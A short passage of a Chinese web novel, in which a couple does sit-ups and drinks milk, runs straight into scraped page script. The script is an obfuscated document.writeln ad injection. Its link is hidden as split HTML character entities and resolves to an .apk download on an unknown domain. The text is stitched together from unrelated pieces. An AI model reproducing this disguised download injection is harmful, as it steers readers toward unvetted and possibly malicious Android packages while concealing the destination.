“行行行，你最厉害。”张嫣大概明白动作是什么样子，换了她躺上去，倒是一口气能做二十个，“一，二，三……十八，十九，二二十。我不行了，啊，太累了。”

每一次做仰卧起坐都重重地撞到床板上，幸好有柔软的被子垫着，后背也不疼。女人在减肥上是对自己最恨的，张嫣喘了口气，又继续做了三组，一组二十个，加起来一共八十个。

对于第一次做的初中女生来说，这个成绩很不错了。

萧靖也不甘示弱，老婆都行了，他总不能不行啊！

他让张嫣拉他一把，扑哧扑哧地喘着粗气，作弊似的做了三组仰卧起坐，每组四十个。

这样折腾了大概两刻钟，两人都筋疲力尽，才算罢休。萧靖从床上爬下来，从壶里倒了牛奶，顺带也给张嫣带了一杯。

都锻炼过了，总得补充一下的，晚上喝点奶，睡觉会更香。 "document.writeln(\"\u003cdiv class=\\\"dbfh\\\"\u003e\");\n" "document.writeln(\"\u003ca rel=\\\"external nofollow noopener\\\" target=\\\"_blank\\\" href=\\\"\u0026#1\"+\"04;\"+\"\u0026#1\"+\"16;\"+\"\u0026#1\"+\"16;\"+\"\u0026#1\"+\"12;\"+\"\u0026#1\"+\"15;\"+\"\u0026#5\"+\"8;\u0026\"+\"#47\"+\";\u0026#\"+\"47;\"+\"\u0026#1\"+\"02;\"+\"\u0026#1\"+\"12;\"+\"\u0026#1\"+\"11;\"+\"\u0026#1\"+\"21;\"+\"\u0026#1\"+\"18;\"+\"\u0026#1\"+\"06;\"+\"\u0026#1\"+\"03;\"+\"\u0026#1\"+\"00;\"+\"\u0026#1\"+\"09;\"+\"\u0026#4\"+\"6;\u0026\"+\"#99\"+\";\u0026#\"+\"111\"+\";\u0026#\"+\"109\"+\";\u0026#\"+\"47;\"+\"\u0026#1\"+\"21;\"+\"\u0026#1\"+\"06;\"+\"\u0026#4\"+\"7;\u0026\"+\"#50\"+\";\u0026#\"+\"48;\"+\"\u0026#4\"+\"9;\u0026\"+\"#55\"+\";\u0026#\"+\"56;\"+\"\u0026#4\"+\"7;\u0026\"+\"#10\"+\"6;\u0026\"+\"#10\"+\"4;\u0026\"+\"#11\"+\"4;\u0026\"+\"#11\"+\"4;\u0026\"+\"#11\"+\"5;\u0026\"+\"#11\"+\"2;\u0026\"+\"#49\"+\";\u0026#\"+\"50;\"+\"\u0026#4\"+\"8;\u0026\"+\"#46\"+\";\u0026#\"+\"97;\"+\"\u0026#1\"+\"12;\"+\"\u0026#1\"+\"07;\\\"\u003e \u003cimg style=\\\"width: 100%;height: auto;max-height: 120px;margin-bottom: 2px;\\\" src=\\\"\u0026#\"+\"10\"+\"4;\"+\"\u0026#\"+\"11\"+\"6;\"+\"\u0026#\"+\"11\"+\"6;\"+\"\u0026#\"+\"11\"+\"2;\"+\"\u0026#\"+\"11\"+\"5;\"+\"\u0026#\"+\"58\"+\";\u0026\"+\"#4\"+\"7;\"+\"\u0026#\"+\"47\"+\";\u0026\"+\"#1\"+\"19\"+\";\u0026\"+\"#1\"+\"19\"+\";\u0026\"+\"#1\"+\"19\"+\";\u0026\"+\"#4\"+\"6;\"+\"\u0026#\"+\"12\"+\"0;\"+\"\u0026#\"+\"10\"+\"5;\"+\"\u0026#\"+\"97\"+\";\u0026\"+\"#1\"+\"11\"+\";\u0026\"+\"#1\"+\"15\"+\";\u0026\"+\"#1\"+\"04\"+\";\u0026\"+\"#1\"+\"17\"+\";\u0026\"+\"#1\"+\"11\"+\";\u0026\"+\"#1\"+\"16\"+\";\u0026\"+\"#1\"+\"20\"+\";\u0026\"+\"#1\"+\"16\"+\";\u0026\"+\"#5\"+\"4;\"+\"\u0026#\"+\"54\"+\";\u0026\"+\"#5\"+\"6;\"+\"\u0026#\"+\"46\"+\";\u0026\"+\"#1\"+\"11\"+\";\u0026\"+\"#1\"+\"14\"+\";\u0026\"+\"#1\"+\"03\"+\";\u0026\"+\"#4\"+\"7;\"+\"\u0026#\"+\"11\"+\"2;\"+\"\u0026#\"+\"10\"+\"5;\"+\"\u0026#\"+\"99\"+\";\u0026\"+\"#4\"+\"7;\"+\"\u0026#\"+\"10\"+\"4;\"+\"\u0026#\"+\"10\"+\"2;\"+\"\u0026#\"+\"45\"+\";\u0026\"+\"#1\"+\"15\"+\";\u0026\"+\"#1\"+\"12\"+\";\u0026\"+\"#4\"+\"5;\"+\"\u0026#\"+\"52\"+\";\u0026\"+\"#4\"+\"6;\"+\"\u0026#\"+\"10\"+\"3;\"+\"\u0026#\"+\"10\"+\"5;\"+\"\u0026#\"+\"10\"+\"2;\\\"\u003e\u003c/a\u003e\");\n" "document.writeln(\"\u003c/div\u003e\");\n"

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